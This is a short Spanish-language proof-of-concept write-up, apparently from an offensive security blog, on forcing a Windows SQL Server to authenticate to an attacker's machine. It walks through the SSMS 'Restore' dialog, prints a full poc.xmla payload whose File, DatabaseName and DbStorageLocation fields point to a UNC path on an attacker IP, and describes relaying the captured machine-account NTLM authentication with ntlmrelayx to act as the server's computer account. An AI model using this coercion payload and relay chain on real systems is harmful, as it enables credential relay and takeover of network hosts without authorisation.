
Una técnica para forzar a un Windows SQL Server a autenticarse en una máquina arbitraria.

Una técnica para obligar a un Windows SQL Server a autenticarse en una máquina arbitraria.
Esta prueba de concepto está coescrita por:
Para provocar la autenticación como cuenta de máquina local, necesitamos conectarnos al SQL Server remoto usando credenciales de usuario:

Luego seleccionaremos "Restore" para restaurar la base de datos desde un archivo determinado.

Para generar el archivo XMLA, coloca la ruta a un archivo aleatorio en el formulario "Backup File" y haz clic en OK.

Luego cambia la ruta a un archivo aleatorio y reemplázala por una ruta UNC a tu servidor atacante (por ejemplo \\192.168.128\SYSVOL\db.abf)

Consulta XMLA de la prueba de concepto (poc.xmla):
<Restore xmlns="http://schemas.microsoft.com/analysisservices/2003/engine">
<File>\\192.168.2.51\SYSVOL\db.abf</File>
<DatabaseName>\\192.168.2.51\SYSVOL\db.abf</DatabaseName>
<DbStorageLocation xmlns="http://schemas.microsoft.com/analysisservices/2008/engine/100/100">\\192.168.2.51\SYSVOL\db.abf</DbStorageLocation>
</Restore>
Y obtenemos una autenticación desde la cuenta de máquina local del SQL Server:

Una vez que obtenemos la autenticación, podemos retransmitirla con ntlmrelayx para realizar muchas acciones en nombre del equipo SQL01$.
Esto es interesante, pero es complicado provocar esta autenticación forzada desde una máquina atacante Linux, ya que no tenemos acceso a SQL Server Management Studio (SSMS).